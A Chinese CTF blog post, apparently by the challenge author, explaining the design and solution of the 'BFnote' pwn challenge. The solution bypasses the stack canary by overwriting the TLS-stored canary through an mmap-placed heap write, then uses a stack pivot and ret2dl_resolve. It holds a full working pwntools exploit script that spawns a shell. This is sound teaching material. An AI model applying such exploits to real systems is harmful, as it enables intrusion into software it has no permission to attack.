- 2018 铁三东北赛区之 aleph1 rbp 栈迁移
- return to dl resolve 利用 i386 roputils 库
- 提权读写空指针 利用中断门提权并挂载物理页
- RCTF2015 之 welpwn 64位构造 ROP 过掉 00 截断
- XDCTF2015 之 pwn200 DynELF 实现无 libc 利用
- pwnable.tw 之 hacknote uaf 利用
- pwnable.kr 之 unlink 堆还是栈?
- pwnable.kr 之 uaf 虚表利用
- 360 春秋杯之 smallest SROP 利用
- 网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
- 32 位 fmtstr 漏洞利用 记一 32 位格式化字符串漏洞利用
- 网鼎杯 Pwn 之 babyheap unlink+uaf+fastbin attack
- 网鼎杯 Pwn 之 blind _IO_FILE 利用
- 网鼎杯 Pwn 之 pesp 多方法解题
- House of orange 无 free 的堆利用
- 2018 湖湘杯 Reverse 之 Replace
- 南邮 NCTF 2018 之 smallbug2
- 铁三 2018 全国总决赛之 littlenote
- 铁三 2018 全国总决赛之 bookstore
- 铁三 2018 全国总决赛之 myhouse
- pwnable.tw 之 un3xp10itabl3
- pwnable.tw 之 D3-a5lr
- NCTF 2018 之 homura
- 2019 西湖论剑 writeup
- 2019 强网杯 writeup 之 PWN+Reverse 部分
- 西湖论剑线下个人赛 writeup pwn 部分
- 关于 smallbin 的利用
- 春秋杯网络安全公益联赛 BFnote 出题小结
- easy_unicorn 基于 unicorn 的沙盒逃逸
- Kernel Pwn gnote - TokyoWesterns CTF 2019
春秋杯网络安全公益联赛 BFnote 出题小结
春秋杯网络安全公益联赛 BFnote出题小结
出题思路
常规栈溢出的canary绕过方法有leak,fork爆破,劫持__stack_chk_fail
,还有一种就是覆盖TLS中储存的Canary值。之前starctf2018中有一道babystack就是利用这一方法,但是那道题是跑了新个线程。
这样的话thread_stack线程栈中,TCB结构在thread_stack的高地址,当前栈帧在低地址,所以只要溢出长度够大就能覆盖到TCB中的canary。
但是对于主线程来说,在glibc2.23 32位环境下,TLS被初始化时存在一点问题,特殊情况下导致TCB结构的地址可定位
writeup
1.检查题目保护,发现开了CANARY与NX
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2.发现存在栈溢出与堆地址任意偏移写任意值 可利用
unsigned int __cdecl main()
{
signed int i; // [esp+4h] [ebp-54h]
int size; // [esp+8h] [ebp-50h]
char *v3; // [esp+Ch] [ebp-4Ch]
int v4; // [esp+14h] [ebp-44h]
char description; // [esp+1Ah] [ebp-3Eh]
unsigned int v6; // [esp+4Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
menu();
fwrite("\nGive your description : ", 1u, 0x19u, stdout);
memset(&description, 0, 0x32u);
myread(0, &description, 1536); //栈溢出
fwrite("Give your postscript : ", 1u, 0x17u, stdout);
memset(&postscript, 0, 0x64u);
myread(0, &postscript, 1536);
fwrite("\nGive your notebook size : ", 1u, 0x1Bu, stdout);
size = get_long();
v3 = (char *)malloc(size);
memset(v3, 0, size);
fwrite("Give your title size : ", 1u, 0x17u, stdout);
v4 = get_long();
for ( i = v4; size - 32 < i; i = get_long() ) //重复输入
fwrite("invalid ! please re-enter :\n", 1u, 0x1Cu, stdout);
fwrite("\nGive your title : ", 1u, 0x13u, stdout);
myread(0, v3, i);
fwrite("Give your note : ", 1u, 0x11u, stdout);
read(0, &v3[v4 + 16], size - v4 - 16); // 逻辑漏洞,错误的使用了重复输入之前的值,基于堆地址任意地址写
fwrite("\nnow , check your notebook :\n", 1u, 0x1Du, stdout);
fprintf(stdout, "title : %s", v3);
fprintf(stdout, "note : %s", &v3[v4 + 16]);
return __readgsdword(0x14u) ^ v6;
3.当一个函数被调用,当前线程的tcbhead_t.stack_guard会放置到栈上(也就是canary),32位下gs寄存器指向tcb,可以细看源码。在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不 相等的,程序将会返回error并且终止。
typedef struct {
void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
... } tcbhead_t;
4.在glibc2.23-i386的环境下,main线程的tcb块被mmap初始化在libc内存布局上方。
► 0x8048772 mov eax, dword ptr gs:[0x14]
EAX 0x5ba0b500
pwndbg> search -p 0x5ba0b500
0xf7e00714 0x5ba0b500
[stack] 0xffffcecc 0x5ba0b500
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/b0ldfrev/icq/BFnote
0x8049000 0x804a000 r--p 1000 0 /home/b0ldfrev/icq/BFnote
0x804a000 0x804b000 rw-p 1000 1000 /home/b0ldfrev/icq/BFnote
0xf7e00000 0xf7e01000 rw-p 1000 0
0xf7e01000 0xf7fb1000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p f0000 0 [stack]
可以看到canary在0xf7e00714这个地址刚好在libc-2.23.so代码段上方
5.当调用malloc申请内存时,若size大于等 mmap分配阈值(默认值 128KB)0x200000时,malloc会调用mmap申请内存,且申请的内存可以观察到同样在libc上方。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/b0ldfrev/icq/BFnote
0x8049000 0x804a000 r--p 1000 0 /home/b0ldfrev/icq/BFnote
0x804a000 0x804b000 rw-p 1000 1000 /home/b0ldfrev/icq/BFnote
0xf7bff000 0xf7e01000 rw-p 202000 0
0xf7e01000 0xf7fb1000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p f0000 0 [stack]
6.利用思路就是在最开始栈溢出的时候将canary填成值A,并做好栈迁移的准备,在.bss构造resolve数据, 申请notebook大小0x200000,使其地址在libc上方;tille大小故意输错成堆地址ptr到tcb中canary的偏移,二次输入时给一个正确值,这下在输入note内容时就可以修改tcb中canary的值为A。main函数返回时绕过canary检查,迁移去执行dl_rutime_resolve,有个坑是由于栈迁移,尽量迁移后抬到bss高地址处执行,resolve数据尽量放到比指令更高的地址。
7.EXP
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#[author]: b0ldfrev
p= process('./BFnote')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
dl_resolve_data="\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x37\x66\x66\x5a\x6d\x59\x50\x47\x60\xa1\x04\x08\x07\x25\x02\x00\x73\x79\x73\x74\x65\x6d\x00"
dl_resolve_call="\x50\x84\x04\x08\x70\x20\x00\x00"
canary=0xdeadbe00
postscript=0x804A060
#correct=0x804a428
payload1="1"*0x32+p32(canary)+p32(0)+p32(postscript+4+0x3a8)
ru("description : ")
sd(payload1)
payload2="s"*0x3a8+dl_resolve_call+p32(0x12345678)+p32(postscript+0x3b8)+"/bin/sh\x00"+p64(0)+dl_resolve_data
ru("postscript : ")
sd(payload2)
ru("notebook size : ")
sl(str(0x200000))
ru("title size : ")
sl(str(0x20170c-0x10))
ru("please re-enter :\n")
sl(str(100))
ru("your title : ")
sl("2222")
ru("your note : ")
sd(p32(canary))
p.interactive()
8.程序我忘了设置sleep,所以还存在极小概率的canary爆破,比赛时间那么长,就3个字节嘛 ~ 手动狗头,如果各位大师傅还有非预期 欢迎讨论~
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论